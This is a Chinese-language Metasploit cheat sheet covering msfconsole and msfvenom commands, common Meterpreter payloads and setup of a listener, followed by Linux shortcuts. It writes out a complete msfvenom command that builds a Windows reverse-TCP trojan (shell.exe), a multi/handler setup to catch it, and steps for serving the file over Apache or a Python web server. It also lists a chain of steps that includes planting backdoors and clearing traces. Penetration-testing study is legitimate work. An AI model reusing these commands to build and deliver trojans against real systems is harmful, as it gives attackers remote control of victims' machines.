基础 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 warnning: msf数据库未开会显示警报,但是不影响使用,有需求可以开 systemctl enable postgresql 设置postgresql开机自启 systemctl disable postgresql 禁止开机自启 systemctl: enable 设置开机自启 disable 禁止开机自启 start 运行服务 stop 停止服务 status 查看运行状态 restart 重启服务 service: service service_name 指令 start stop stauts restart
!!!:指令可以用tab补全
msfconsole 控制台
msfvenom 木马生成平台
exp: 攻击脚本
poc: 验证脚本
信息搜集 –> 漏洞探测 –> 漏洞利用 –> 提权 –> 横向渗透 –> 植入后门 –> 痕迹清除
[ metasploit v6.0.16-dev ]
– –=[ 2073 exploits - 1124 auxiliary - 352 post ]
– –=[ 596 payloads - 45 encoders - 10 nops ]
– –=[ 7 evasion ]
exploits: 漏洞利用脚本
payloads: 攻击载荷
auxiliary: 辅助模块
post: 后渗透模块
encoders: 编码模块
nops: 空模块
evasion: 逃避模块
第一次运行msf需要初始化数据库,因为用到db_nmap需要用到数据库
msfdb init 初始化数据库
msfdb start 开启数据库
连接数据库:
db_connect -y /usr/share/metasploit-framework/config/database.yml
db_connect user:password@127.0.0.1 /database_name
基础指令: msfconsole: msf是用ruby语言写的,脚本后缀为.rc文件
help 查看帮助信息
exit 退出当前的控制台
load 加载.rc的脚本
sessions 查看当前收到的会话
sessions -i id 进入会话
sessions -k id 杀死指定会话
sessions -K 杀死所有的会话
bg | background 返回控制台
set 设置参数
setg 设置全局参数
unload 卸载脚本
unset 卸载参数
unsetg 卸载全局参数
info 显示模块的信息
options 显示参数的信息
search 搜索脚本
show 显示模块及参数信息
use 使用模块
run 运行辅助模块,跟exploit没有区别都可以用
exploit 运行攻击脚本
exploit | run -j 后台监听
run -z 持久化监听
run -j -z 后台持久监听
back 返回上一级
jobs 操作相关的工作
jobs -k id 删除指定任务
jobs -K 删除所有的任务
kill 杀死会话
msfvenom: -l,–list 列出相关的模块信息
-p,–payloads 指定payload
-e 指定编码模块
-f 指定输出格式
-a 指定架构(x86,x64)
-o 指定输出的文件
-b bad Characters,坏字符,可以规避一些字符
-n 设置空模块
-i 指定编码次数
-x 指定模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 基操: 常用payload: windows/x64/meterpreter/reverse_tcp windows/x64/meterpreter/reverse_tcp_rc4 windows/x64/meterpreter/bind_tc windows/x64/meterpreter/bind_tcp_rc4 windows/x64/meterpreter/reverse_https windows/x64/meterpreter/reverse_http 生成木马: -p指定的payload要与msfconsole指定的payload一致,不然无法监听到木马的反弹 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168 .1 .135 lport=4444 -f exe -o shell.exe 建立监听器: LHOST:设置本地监听的IP LPORT:设置本地监听的端口 RHOSTS:设置远程IP stage: 传输器 --> 存放paylaod的一个容器 stager: 传输体 --> 用来传输stage的一个通道 use exploit/multi/handler 设置渗透模块 set payload windows/x64/meterpreter/reverse_tcp 设置有效载荷set LHOST IP 设置本地接收ipset LPORT port 设置本地接收端口exploit | run 运行模块开始监听 木马下放: 1. servic apache2 start apache是web服务的一个中间件 默认路径: /var/www/html 访问方式: http://IP 注意事项: 可能会碰到默认页面,删除掉/var/www/html下的index.html文件即可 2. python2 用编程语言开放的服务器,服务器路径的话就是在当前目录下开放服务 python -m SimpleHTTPServer port 3. python3 python3 -m http.server port
linux的快捷键 1 2 3 4 5 6 7 ctrl+u 删除光标之前的内容 ctrl+k 删除光标之后的内容 ctrl+d 删除当前光标所在的内容 ctrl+h 向前删除一个内容 ctrl+a 跳到开头 ctrl+e 跳到最后 ctrl+r 搜索历史操作的指令,回车执行